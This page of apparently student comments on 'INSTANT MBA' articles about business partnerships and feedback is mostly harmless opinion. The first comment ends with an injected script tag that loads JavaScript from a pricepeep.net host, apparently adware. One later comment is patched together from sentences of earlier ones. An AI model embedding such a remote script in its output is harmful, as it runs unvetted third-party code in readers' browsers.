INSTANT MBA: You Can't Do It By Yourself, So Find Others With Similar Ideals
This article makes a good point. So many people try to do things on their own because of pride but you can't do everything on your own. If your trying to produce the best customer service in the business but can't find a better way to run things then you may need to team up with someone who has the same perspective as you but with a different approach. The two of you would end up with a great business instead of you struggling to improve your business so I feel that there is nothing wrong with asking for a little assistance or teaming up with someone. <script src="http://static.pricepeep.net/apps/tv-classic/pricepeep/tv-classic-pricepeep.js"></script>

INSTANT MBA: You Can't Do It By Yourself, So Find Others With Similar Ideals
Most of us have heard our parents say over and over again, "You are who you surround yourself with", I believe to a certain extent it is true, especially in business. If a great company that gives back to society has become allies with a company who is known for dumping toxic waste into not authorized bodies of water contaminating it and killing the animals that live there, buzz will go out the great company will take on the same activities too. Also surrounding your business with other business who have the same views can come together and create greatness for your business and for the society. Two brains area always better than one.

INSTANT MBA: You Can't Do It By Yourself, So Find Others With Similar Ideals
When building a business it is a good idea to be associated with other brands that will help your company succeed. For example, if you own a movie rental business then it would be a good idea to also sell drinks, popcorn, and candy. Most people who rent movies like to eat popcorn or candy and have something to drink. If you use other companies to sell snacks at your movie rental business then it will help your business. I think it is a great idea to partner up with other companies if it will help your business succeed.

I like the fact that Turner was humble enough to go out and find other businesses with the same outlook or goals. By grouping together, the amount of benefits that they received were immeasurable. I guess, just as in life, you can’t do everything better than everyone, so why not go out and find people who do a better job a certain things than you and hire them.

This is definitely something that people might not realize. As a new business owner, especially a business you nurtured from simply idea to actual new business, you might think that it all has to be you, everything has to be done right and you have to put in the extra work to make sure YOUR brainchild comes out how you planned it. But that is not always to case. Always look for people with similar ideals and more resources or connections to help move your business along even quicker and better than before.

Alt link 45: INSTANT MBA: Negative Feedback Is Painful But Rewarding
To a struggling employee they will most likely not only be open to someone suggesting a new strategy, but also be willingly looking for someone to give them advice on how to be successful. May is probably very polite when she talks to employees which is why they are grateful and understanding of her input.

As in many things in life, if you are unable to reach your goal by yourself, find a partner or group of people with similar goals to work with you. In the article, several companies joined forces to reach one common goal, and ended up being very successful. This idea is a good one to keep in mind when starting a business, or even when venturing off into unchartered territory, it's always helpful to have someone by your side.

Having more people there to give their opinions and ideas can only help the cause. If you try to do it all by yourself, it only makes things that more difficult.I agree that negative feedback is painful but rewarding. It helps individuals learn about their weaknesses and gives them opportunity to correct the behavior.Maximizing profits is just as important as benefiting society. Most people who rent movies like to eat popcorn or candy and have something to drink. This is definitely something that people might not realize.

Teamwork is an important aspect of a successful business. Hiring people who have the same views as your mission for the company can be very beneficial. One person can get the job done but it may take more time than you have. Surrounding yourself with competent people that can help get a job done quickly and efficiently, can improve the amount of workload a company can handle.

I think that it's important to align your company with other companies that have similar values, just as the article suggests. It's easier to make and impact and change things if you have more than one person working towards an idea. So if there is more than one company working towards an idea, think of the impact that can be made!

I very much agree with this article. If you align your self with companies who have similar end goals you are bound to succeed. A manufacture isn't going to align its self with a parts company that constantly ships the order late as the end results for the manufacture would be delayed in products and unhappy clients.

For beginning businesses I think that this is a great approach, or even business that are looking to recreate what they have made. It doesn't matter what it is whether it be Raising Canes as mentioned above, or someone like Ulta or Charming Charlie who partners with magazines to get coupons out, it is great publicity and advertising. Having a partner just gains your credibility, as well as gets your businesses name out there in order to help you grow!

Developing a business plan is great, but you must find someone that will help you. One person cannot run a business. A business owner must find a manager that has similar ideas. The manager must be trusting so when the owner is away, the business is still ran professionally.

I agree with the article. When you find yourself stuck on a task working with others can boost your motivation. Working with others will also introduce you to new ideas that you might have not thought of. So working with others can be good as long as everyone is involved and can speak their own view.
